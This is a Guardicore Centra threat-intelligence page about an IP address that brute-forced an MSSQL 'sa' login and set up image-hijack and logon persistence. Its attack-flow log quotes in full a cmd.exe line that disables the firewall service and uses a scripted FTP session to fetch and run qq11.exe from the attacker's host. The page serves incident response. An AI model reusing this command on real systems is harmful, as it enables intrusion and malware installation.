IP Address: 49.79.225.133Previously Malicious

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IP Address:
49.79.225.133​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Connect-Back

Services Targeted

MSSQL

Tags

DNS Query File Operation By CMD Modification CMD Execute MsSql Shell Command Create MsSql Table Persistency - Logon Drop MsSql Table Persistency - Image Hijack MSSQL Brute Force MSSQL IDS - Attempted User Privilege Gain Create MsSql Procedure Successful MSSQL Login Outgoing Connection

Associated Attack Servers

dns.msftncsi.com

0.0.0.0

Basic Information

IP Address

49.79.225.133

Domain

-

ISP

China Telecom jiangsu

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2017-07-27

Last seen in Guardicore Centra

2017-07-27

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times

MSSQL Brute Force Successful MSSQL Login

MSSQL procedures were created: sp_addextendedproc

Create MsSql Procedure

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line C:\WINDOWS\ime\cv.exe to run using Persistency - Image Hijack 2 times

Persistency - Logon Persistency - Image Hijack

MSSQL executed 6 shell commands

Execute MsSql Shell Command

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 49.79.225.133 > cmd.txt&echo 521>> cmd.txt&echo 521>> cmd.txt&echo binary >> cmd.txt&echo get qq11.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&qq11.exe&qq11.exe&del cmd.txt to run using Persistency - Logon

Persistency - Logon Persistency - Image Hijack

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 0.0.0.0:64792 and 49.79.225.133:21

Outgoing Connection

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 49.79.225.133:21 and 0.0.0.0:55584

Outgoing Connection

MSSQL tables were dropped: #A6AD12D6 and #A2DC81F2

Drop MsSql Table

MSSQL tables were created: #temp_jobs_to_delete________________________________________________________________________________________________000000000002

Create MsSql Table

IDS detected Attempted User Privilege Gain : MS-SQL SQL Injection closing string plus line comment

IDS - Attempted User Privilege Gain

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IP Address: 49.79.225.133​Previously Malicious